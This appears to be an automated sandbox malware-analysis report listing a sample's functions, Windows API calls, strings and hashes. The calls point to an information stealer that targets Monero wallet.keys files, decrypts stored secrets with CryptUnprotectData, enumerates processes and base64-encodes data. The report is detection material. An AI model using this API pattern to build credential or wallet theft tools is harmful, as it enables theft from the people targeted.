Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00CC0D73), ref: 00CAE4A2
StrCmpCA.SHLWAPI(?,00CC14F8), ref: 00CAE4F2
StrCmpCA.SHLWAPI(?,00CC14FC), ref: 00CAE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00CAEBDF

Strings

\*.*, xrefs: 00CAE44D

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 7ee21fefeefaed825ae5ba1ddd86946d64fd4e12b6f2e4775274ab51ef4d4879
Instruction ID: 090f8cb592b3462fcad44991c51bf2d619e923655634711379ea224d26d90dcf
Opcode Fuzzy Hash: 7ee21fefeefaed825ae5ba1ddd86946d64fd4e12b6f2e4775274ab51ef4d4879
Instruction Fuzzy Hash: 80123171910118AADB24FB61DCA6EED733CAF54300F4045A9B54AA64D1EF306F49EFA2

Function 01070AD7 Relevance: 8.6, Strings: 6, Instructions: 1059COMMON

Download Yara Rule

Strings

Tqo, xrefs: 01070EBD
Qlx_, xrefs: 0107120A
XeNm, xrefs: 010713E8
%iv~, xrefs: 0107131F
@wX, xrefs: 01070B90
XeNm, xrefs: 010713F5

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %iv~$@wX$Qlx_$Tqo$XeNm$XeNm
API String ID: 0-4062974250
Opcode ID: 74e6cfc0dd3644992bebae6c8952f48eaa4b442d404c3a01adc22757b76e8969
Instruction ID: de4a28d5cb9ea832b2e8ea9c026d48bf77a8c938253e11a4369eee1d8c3a60f6
Opcode Fuzzy Hash: 74e6cfc0dd3644992bebae6c8952f48eaa4b442d404c3a01adc22757b76e8969
Instruction Fuzzy Hash: F762F6F3A0C200AFE704AE29DC4577AB7E9EF94320F16893DEAC5C7744EA3558058796

Function 00CAC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CAC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CAC87C
lstrcat.KERNEL32(?,00CC0B46), ref: 00CAC943
lstrcat.KERNEL32(?,00CC0B47), ref: 00CAC957
lstrcat.KERNEL32(?,00CC0B4E), ref: 00CAC978

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 94109f0010dca7fe5e7c65a889b23509ccd4691542ab08b666706da2fd782bb4
Instruction ID: 5d71e8fa6585fb4f30bc3a2b21eca5cc939f57514dc67243369afe8d2b5b409a
Opcode Fuzzy Hash: 94109f0010dca7fe5e7c65a889b23509ccd4691542ab08b666706da2fd782bb4
Instruction Fuzzy Hash: 45414CB590421EDFCB10DFA4DD89BFEB7B8AB48304F1441B8F509A6280D7706A84CF91

Function 00CA7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00CA724D
RtlAllocateHeap.NTDLL(00000000), ref: 00CA7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00CA7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00CA72A4
LocalFree.KERNEL32(?), ref: 00CA72AE

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 217c047589e5f3ccfc7eb41e3127d76118a898a5077706d4f727e9fe498fe696
Instruction ID: 17c83a638261e0f7bf700e871656a8bf0c05130b4e4cd9c76a84a8d1aad1dfa3
Opcode Fuzzy Hash: 217c047589e5f3ccfc7eb41e3127d76118a898a5077706d4f727e9fe498fe696
Instruction Fuzzy Hash: 170100B5A40208BFDB14DBD5DD89F9D7778AB44704F144159FB05BA2C0D670BA048B65

Function 00CB9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CB961E
Process32First.KERNEL32(00CC0ACA,00000128), ref: 00CB9632
Process32Next.KERNEL32(00CC0ACA,00000128), ref: 00CB9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00CB965C
CloseHandle.KERNEL32(00CC0ACA), ref: 00CB967A

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2fa818a18ce16a2a9aacfe1a3534b902bc0f180a8249f438d0da754b5d3dca1a
Instruction ID: ac05492856b6b59101cf4d8d4dbd1ff6c83d751632f29e534a016e3ab6f4e949
Opcode Fuzzy Hash: 2fa818a18ce16a2a9aacfe1a3534b902bc0f180a8249f438d0da754b5d3dca1a
Instruction Fuzzy Hash: E6010CB5A00208AFDB54DFA6CD88BEDBBF9EB58300F144199B909A6240D774AB44CF51

Function 0106CDA5 Relevance: 6.6, Strings: 4, Instructions: 1642COMMON

Download Yara Rule

Strings

Kz, xrefs: 0106DE55
7R`E, xrefs: 0106DB9C
<g, xrefs: 0106CEA2
`p-w, xrefs: 0106CF24

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7R`E$`p-w$<g$Kz
API String ID: 0-4293365461
Opcode ID: 0169029f6acc286b84df44d9c15a167e26a9bb4298e0789c780bbd8e88a0952b
Instruction ID: 071da8644f436fe7a631e663cae20c18ec52054887e051d8858cd2cb45afeb00
Opcode Fuzzy Hash: 0169029f6acc286b84df44d9c15a167e26a9bb4298e0789c780bbd8e88a0952b
Instruction Fuzzy Hash: EFB2F6F350C2049FE304AF29EC8567AFBE9EFD4720F1A892DE6C483744EA3558458697

Function 0106E96D Relevance: 6.5, Strings: 4, Instructions: 1547COMMON

Download Yara Rule

Strings

b[}, xrefs: 0106E9E7
`r}, xrefs: 0106F8A8
pLH, xrefs: 0106EEF7
o>u, xrefs: 0106F50D

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `r}$b[}$o>u$pLH
API String ID: 0-3566674915
Opcode ID: ad9a971b24cc8aaea1c3ab85cd77a12af4eea2067e503cf891875f356f847f91
Instruction ID: 49b0535e4f39b8ac77dff6bc2b46f46d7f0e581d09cd33cc01ba0a7cb3d6aeb4
Opcode Fuzzy Hash: ad9a971b24cc8aaea1c3ab85cd77a12af4eea2067e503cf891875f356f847f91
Instruction Fuzzy Hash: 0AB2E3F360C2049FE7046E29EC8567AFBE9EF94320F1A493DEAC583344EA3558058797

Function 00CB8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00CC05B7), ref: 00CB86CA
Process32First.KERNEL32(?,00000128), ref: 00CB86DE
Process32Next.KERNEL32(?,00000128), ref: 00CB86F3

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

CloseHandle.KERNEL32(?), ref: 00CB8761

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d01989869840e3164b0f4e9362ae98725cbe151edf83d1ade353a60aef107943
Instruction ID: 7d70e672911fa455a7946d20427398f7c5e7b7d262d4716ac32c2a8e4cc3925e
Opcode Fuzzy Hash: d01989869840e3164b0f4e9362ae98725cbe151edf83d1ade353a60aef107943
Instruction Fuzzy Hash: 3E312471901218ABCB24EB95CC95FEEB77CEB45700F1041A9F10AB61A0DF316A49CFA2

Function 00CB8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00CA5184,40000001,00000000,00000000,?,00CA5184), ref: 00CB8EC0

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 0fa851bc156581de5912cafb93890caff27adde213547be2344ef76a4d749141
Instruction ID: 2bab91edb241dfd50c84b5c02c55b512e7f159d8b6879dd06e9ecf89c1e35ebe
Opcode Fuzzy Hash: 0fa851bc156581de5912cafb93890caff27adde213547be2344ef76a4d749141
Instruction Fuzzy Hash: C9111874200209BFDB04CFA5D888FBB37ADAF89300F149458F9198B250DB35ED4ADB64

Function 00CA9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9B2A
LocalFree.KERNEL32(?,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B3F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: a0505fda432786deea4f23fc135543eafb90bf8877d800fca90bfbfd1dfe3dba
Instruction ID: 1115cd2fc245e0097e29550f5dc8849b58bbad96eb677895ed5d15f3ccc45300
Opcode Fuzzy Hash: a0505fda432786deea4f23fc135543eafb90bf8877d800fca90bfbfd1dfe3dba
Instruction Fuzzy Hash: 3311A2B4240208EFEB14CF64DC95FAA77B5FB89704F208058F9159F390C7B6AA45CBA4

Function 00CB7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CC0E00,00000000,?), ref: 00CB79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00CB79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00CC0E00,00000000,?), ref: 00CB79C4
wsprintfA.USER32 ref: 00CB79F3

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 24563d6791b7ffc33462247603f96b9e547b3d15b2847b7c983bf277a6109709
Instruction ID: 56e98bd9fc6f7c6a3d222a63adea168f229dc774c39a8d84b30b45b281af13a4
Opcode Fuzzy Hash: 24563d6791b7ffc33462247603f96b9e547b3d15b2847b7c983bf277a6109709
Instruction Fuzzy Hash: 5C112AB2904158ABCB14DFCADD85BBEB7F8FB4CB11F14422AF605A2280E2395944C7B5

Function 00CB7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,009DEBE0,00000000,?,00CC0E10,00000000,?,00000000,00000000), ref: 00CB7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00CB7A6A
